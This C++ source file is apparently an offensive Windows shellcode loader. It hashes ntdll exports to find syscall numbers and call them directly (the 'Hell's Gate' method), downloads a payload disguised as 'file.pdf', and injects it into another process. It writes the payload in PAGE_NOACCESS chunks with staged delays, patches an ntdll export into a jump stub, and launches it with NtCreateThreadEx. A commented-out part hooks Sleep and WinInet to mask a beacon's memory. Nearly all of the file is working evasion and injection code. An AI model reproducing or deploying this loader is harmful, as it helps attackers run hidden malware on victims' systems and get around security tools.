#pragma once
#include "Loader.h"
#include "structs.h"
//#include "detours.h"
//#include "detver.h"
#include "connector.h"
#include <Tlhelp32.h>
#include <WinInet.h>
#pragma comment(lib, "Urlmon.lib")
//#pragma comment(lib, "detours_x64.lib")

using namespace std;

//GLOBAL VARIABLES:

// ntdll.dll
char jmpModName[]{ 'n','t','d','l','l','.','d','l','l','\0' };
// RtlpWow64CtxFromAmd64
char jmpFuncName[]{ 'R','t','l','p','W','o','w','6','4','C','t','x','F','r','o','m','A','m','d','6','4','\0' };
// the shellcode file : named as file.pdf
char fnamScBlob[]{ 'f','i','l','e','.','p','d','f','\0'};
//this is the time to delay execution
int msStepDelay = 1000;

HANDLE hEvent;
BOOL Vir_FLAG = FALSE;
LPVOID shellcode_addr = NULL;

//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////

//hellsgate way:

typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

//----------------------------------------------------------------------------------------------------------

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

//----------------------------------------------------------------------------------------------------------

PTEB RtlGetThreadEnvironmentBlock();

//----------------------------------------------------------------------------------------------------------

BOOL GetImageExportDirectory(
    _In_ PVOID                     pModuleBase,
    _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
);

//----------------------------------------------------------------------------------------------------------

BOOL GetVxTableEntry(
    _In_ PVOID pModuleBase,
    _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
    _In_ PVX_TABLE_ENTRY pVxTableEntry
);

//----------------------------------------------------------------------------------------------------------

PVOID VxMoveMemory(
    _Inout_ PVOID dest,
    _In_    const PVOID src,
    _In_    SIZE_T len
);

//----------------------------------------------------------------------------------------------------------

extern "C" extern void Allocate(WORD wSystemCall);
extern "C" extern int RunAllocated(...);

//----------------------------------------------------------------------------------------------------------

PTEB RtlGetThreadEnvironmentBlock() {
    return (PTEB)__readgsqword(0x30);
}

//----------------------------------------------------------------------------------------------------------

DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x7734773477347734;
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

//----------------------------------------------------------------------------------------------------------

BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {

    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }

    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }

    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    return TRUE;
}

//----------------------------------------------------------------------------------------------------------

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

        if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {
            pVxTableEntry->pAddress = pFunctionAddress;


            WORD cw = 0;
            while (TRUE) {

                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;

                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;


                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry->wSystemCall = (high << 8) | low;
                    break;
                }

                cw++;
            };
        }
    }

    return TRUE;
}

//----------------------------------------------------------------------------------------------------------

PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
    char* d = (char*)dest;
    char* s = (char*)src;
    if (d < s)
        while (len--)
            *d++ = *s++;
    else {
        char* lasts = s + (len - 1);
        char* lastd = d + (len - 1);
        while (len--)
            *lastd-- = *lasts--;
    }
    return dest;
}

//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////

//hooking functions & the results: 
/*

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
    if (Vir_FLAG)
    {
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
        Vir_FLAG = FALSE;
    }
    printf("sleep time :%d\n", dwMilliseconds);
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
}

 //----------------------------------------------------------------------------------------------------------

static BOOL(WINAPI* OldInternetReadFile)(
    _In_ HINTERNET hFile,
    _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
    _In_ DWORD dwNumberOfBytesToRead,
    _Out_ LPDWORD lpdwNumberOfBytesRead) = ::InternetReadFile;

  //----------------------------------------------------------------------------------------------------------

BOOL WINAPI NewInternetReadFile(
    _In_ HINTERNET hFile,
    _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
    _In_ DWORD dwNumberOfBytesToRead,
    _Out_ LPDWORD lpdwNumberOfBytesRead
)
{
    SetEvent(hEvent);
    BOOL status = OldInternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead);
    return status;
}

  //----------------------------------------------------------------------------------------------------------

static BOOL(WINAPI* OldHttpSendRequestA)(HINTERNET hRequest,
    LPCSTR    lpszHeaders,
    DWORD     dwHeadersLength,
    LPVOID    lpOptional,
    DWORD     dwOptionalLength) = ::HttpSendRequestA;

//----------------------------------------------------------------------------------------------------------

BOOL WINAPI NewHttpSendRequestA(
    HINTERNET hRequest,
    LPCSTR    lpszHeaders,
    DWORD     dwHeadersLength,
    LPVOID    lpOptional,
    DWORD     dwOptionalLength
)
{
    SetEvent(hEvent);
    BOOL status = OldHttpSendRequestA(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
    return status;
}

//----------------------------------------------------------------------------------------------------------

void Hook()
{
    DetourRestoreAfterWith(); //Avoid duplication HOOK
    DetourTransactionBegin(); // begin HOOK
    DetourUpdateThread(GetCurrentThread());
    DetourAttach((PVOID*)&OldSleep, NewSleep);

    DetourAttach((PVOID*)&OldInternetReadFile, NewInternetReadFile);
    DetourAttach((PVOID*)&OldHttpSendRequestA, NewHttpSendRequestA);
    DetourTransactionCommit(); //  submit HOOK
}

void UnHook()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach((PVOID*)&OldSleep, NewSleep);

    DetourDetach((PVOID*)&OldInternetReadFile, NewInternetReadFile);
    DetourDetach((PVOID*)&OldHttpSendRequestA, NewHttpSendRequestA);
    DetourTransactionCommit();
}

//----------------------------------------------------------------------------------------------------------

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo){

    PVOID address = pExcepInfo->ExceptionRecord->ExceptionAddress;
    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
    {
        MEMORY_BASIC_INFORMATION mbi = { 0 };
        VirtualQuery(address, &mbi, sizeof(mbi));

        if (mbi.Protect == PAGE_NOACCESS) {
            printf("Exception error code :%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
            printf("RIP :%llx ExceptionAddress  :%llx \n", pExcepInfo->ContextRecord->Rip, (DWORD64)pExcepInfo->ExceptionRecord->ExceptionAddress);
            DWORD old = 0;
            VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &old);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

//----------------------------------------------------------------------------------------------------------

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
    printf("Beacon_set_Memory_attributes is Starting ...\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("Setting Beacon memory properties to [PAGE_NOACCESS] \n");

        MEMORY_BASIC_INFORMATION mbi = { 0 };
        VirtualQuery(shellcode_addr, &mbi, sizeof(mbi));
        DWORD old = 0;
        VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_NOACCESS, &old);

        ResetEvent(hEvent);
    }
    return 0;
}
*/

//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////

//injection functions:


LPVOID PrepEntry(HANDLE hProc, LPVOID vm_base){
    unsigned char* b = (unsigned char*)&vm_base;

    unsigned char jmpSc[7]{
        0xB8, b[0], b[1], b[2], b[3],
        0xFF, 0xE0
    };


    HMODULE hJmpMod = LoadLibraryExA(
        jmpModName,
        NULL,
        DONT_RESOLVE_DLL_REFERENCES
    );

    if (!hJmpMod)
        return nullptr;

    LPVOID  lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);

    DWORD   offsetJmpFunc = (DWORD)lpDllExport - (DWORD)hJmpMod;

    LPVOID  lpRemFuncEP{ 0 };

    HMODULE hMods[1024];
    DWORD   cbNeeded;
    char    szModName[MAX_PATH];

    if (EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded))
    {
        int i;
        for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
        {
            if (GetModuleFileNameExA(hProc, hMods[i], szModName, sizeof(szModName) / sizeof(char)))
            {
                if (strcmp(PathFindFileNameA(szModName), jmpModName) == 0) {
                    lpRemFuncEP = hMods[i];
                    break;
                }
            }
        }
    } 
    //

    lpRemFuncEP = (LPVOID)((DWORD_PTR)lpRemFuncEP + offsetJmpFunc);

    if (NULL == lpRemFuncEP)
        return nullptr;

    SIZE_T szWritten{ 0 };
    WriteProcessMemory(
        hProc,
        lpDllExport,
        jmpSc,
        sizeof(jmpSc),
        &szWritten
    );

    return lpDllExport;
}

//----------------------------------------------------------------------------------------------------------

int EXECUTE(int tpid, HANDLE hProc, DWORD szPage, DWORD szAllocGran, const char* fnam, int msStepDelay, PVX_TABLE pVxTable) {
    DWORD szSc{ 0 };
    NTSTATUS status = 0x00000000;

    unsigned char* shellcode = ReadPDFFILE(fnam, &szSc);
    if (NULL == szSc) {
        return 2;
    }

    SIZE_T szVmResv{ szAllocGran };
    SIZE_T szVmCmm{ szPage };
    DWORD  cVmResv = (szSc / szVmResv) + 1;
    DWORD  cVmCmm = szVmResv / szVmCmm;

    printf("[+] Getting Base Address ...\n");

    LPVOID vmBaseAddress = GetSuitableBaseAddress(
        hProc,
        szVmCmm,
        szVmResv,
        cVmResv
    );

    if (nullptr == vmBaseAddress){
        return 3;
    }

    DelayEXECUTION(msStepDelay);

    DWORD     cmm_i;
    shellcode_addr = { vmBaseAddress };
    vector<LPVOID>  vcVmResv;

 
    DWORD i;
    for (i = 1; i <= cVmResv; ++i)
    {
        DelayEXECUTION(msStepDelay);

        printf("[+] Running NtAllocateVirtualMemory[1] ...\n");
        Allocate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
        status = RunAllocated(                ///NtAllocateVirtualMemory
            hProc,
            &shellcode_addr,
            NULL,
            &szVmResv,
            MEM_RESERVE,
            PAGE_NOACCESS
        );

        if (STATUS_SUCCESS == status) {
            vcVmResv.push_back(shellcode_addr);
        }
        else {
            return 4;
        }
        shellcode_addr = (LPVOID)((DWORD_PTR)shellcode_addr + szVmResv);
    }

    DWORD           offsetSc{ 0 };
    DWORD           oldProt;
    
    double prcDone{ 0 };
    for (i = 0; i < cVmResv; ++i){
        for (cmm_i = 0; cmm_i < cVmCmm; ++cmm_i){
            prcDone += 1.0 / cVmResv / cVmCmm;
            DWORD offset = (cmm_i * szVmCmm);
            shellcode_addr = (LPVOID)((DWORD_PTR)vcVmResv[i] + offset);
            printf("[+] Running NtAllocateVirtualMemory[2] ...\n");
            Allocate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
            status = RunAllocated(               ///NtAllocateVirtualMemory
                hProc,
                &shellcode_addr,
                NULL,
                &szVmCmm,
                MEM_COMMIT,
                64
            );

            DelayEXECUTION(msStepDelay);
            SIZE_T szWritten{ 0 };

            printf("[+] Running NtWriteVirtualMemory ... \n");

            status = NtWriteVirtualMemory(                  ///NtWriteVirtualMemory
                    hProc,
                    shellcode_addr,
                    &shellcode[offsetSc],                          
                    szVmCmm,
                    &szWritten
                    );

           printf("[+] Bytes 0x%X wrote sucessfully! at 0x%p\n", shellcode[offsetSc], LPVOID((ULONG_PTR)shellcode_addr));
           
            DelayEXECUTION(msStepDelay);
           
           offsetSc += szVmCmm;
           printf("[+] Running NtProtectVirtualMemory ... \n");
           Allocate(pVxTable->NtProtectVirtualMemory.wSystemCall);
           status = RunAllocated(                    ///NtProtectVirtualMemory
                hProc,
                &shellcode_addr,
                &szVmCmm,
                64,
                &oldProt
            );
            
        }
    }

    DelayEXECUTION(msStepDelay);
    
    if (msStepDelay < 700) {
        printf("[*] Sleeping for %d \n", (msStepDelay * 2));
        DelayEXECUTION(msStepDelay * 2);
    }
    

    if (msStepDelay < 700) {
        printf("[*] Sleeping for %d \n", (msStepDelay * 2));
        DelayEXECUTION(msStepDelay * 2);
    }
    
    printf("[#] Waiting before luanching NtCreateThreadEx ...\n");
    DelayEXECUTION(10000);
    
    /*
    hEvent = CreateEvent(NULL, TRUE, false, NULL);
    AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    printf("\n[+] Hooking required functions.............  ");
    Hook();
    printf("[  OK  ]\n");
    HANDLE hThread0 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread0);
    */
    
    printf("[#] luanching NtCreateThreadEx ...\n");
    LPVOID entry = PrepEntry(hProc, vmBaseAddress);
    HANDLE hThread = INVALID_HANDLE_VALUE;
    Allocate(pVxTable->NtCreateThreadEx.wSystemCall);
    status = RunAllocated(                                 ///NtCreateThreadEx
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProc,
        (LPTHREAD_START_ROUTINE)entry,
        NULL,
        NULL,
        0,
        0,
        0,
        nullptr
    );
    DelayEXECUTION(msStepDelay);

    DebugActiveProcessStop(tpid);

    //LARGE_INTEGER Timeout;
    //Timeout.QuadPart = -10000000;
    //Allocate(pVxTable->NtWaitForSingleObject.wSystemCall);
    //status = RunAllocated(hThread, FALSE, NULL);
    
    /*
    printf("[+] Unhooking ... \n");
    UnHook();
    printf("[  OK  ]\n");
    */
    return ERROR_SUCCESS;
}



//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////

//main function:
    

int main(int argc, char* argv[]) {
 
    //hide window:
    //ShowWindow(GetConsoleWindow(), SW_HIDE);

    //checking if 64 system:

    if (8 != sizeof(void*)) {
        printf("[!] Error: non-64 bit system \n");
        return -1;
    }

    //----------------------------------------------------------------------------------------------------------
    
    //felling the table :

    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    VX_TABLE Table = { 0 };

    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) {
        return 0x01;
    }
    Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) {
        return 0x1;
    }
    Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) {
        return 0x1;
    }
    Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) {
        return 0x1;
    }

    Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)){
        return 0x1;
    }
    //----------------------------------------------------------------------------------------------------------
    
    //downloading the payload:
    
    
    if(getWebResource() == -1 ){
        int msgboxID = MessageBox(
            NULL,
            (LPCWSTR)L"U kidding me ?",
            (LPCWSTR)L"lol",
            MB_ICONWARNING
        );
       // return -1;
    }
    

    //----------------------------------------------------------------------------------------------------------
    //getting info for injection:


    int tpid{ 0 };            
    printf("[+] getting target pid ... \n");

    tpid =FIND_TARGET_INJECTION_PID(); //GetCurrentProcessId();
    



    printf("[+] Target pid : %d \n", tpid);
    printf("[+] Done \n");

    //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // 
    // 
    DebugActiveProcess(tpid);
    // 
    // 
   //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


    
    
    
    //DebugSetProcessKillOnExit(FALSE);

    HANDLE hProc = OpenProcess(    
        PROCESS_ALL_ACCESS,
        FALSE,
        tpid                         
    );

    if (hProc == NULL) {
        printf("[-] process opining with pid %d faild\n", tpid);
        return -1;
    }
    

    SYSTEM_INFO sys_inf;
    GetSystemInfo(&sys_inf); 
    DWORD page_size{ sys_inf.dwPageSize }; 
    DWORD alloc_gran{ sys_inf.dwAllocationGranularity }; 

    //----------------------------------------------------------------------------------------------------------
    //allocating manually if nulls:

    if (page_size == NULL) { 
        page_size = 0x1000;
    }
    if (alloc_gran == NULL) { 
        alloc_gran = 0x10000;
    }

    //----------------------------------------------------------------------------------------------------------

    //checking the payload file:

    FILE* file;
    if (file = fopen(fnamScBlob, "r")){
        printf("[+] payload file '%s' exists \n", fnamScBlob);
        fclose(file);
    }
    else{
        printf("[!] '%s' doesn't exist \n", fnamScBlob);
        return -1;
    }

    //----------------------------------------------------------------------------------------------------------
    //u can comment this:

     printf("[#] press any key to run the shellcode ...\n");
     getchar();
    
    //----------------------------------------------------------------------------------------------------------
    //running the EXECUTE function:

    DelayEXECUTION(msStepDelay);
    
    int RUN = EXECUTE(
        tpid, 
        hProc, 
        page_size,
        alloc_gran,
        fnamScBlob, 
        msStepDelay,
        &Table
    );

    

    return RUN;
}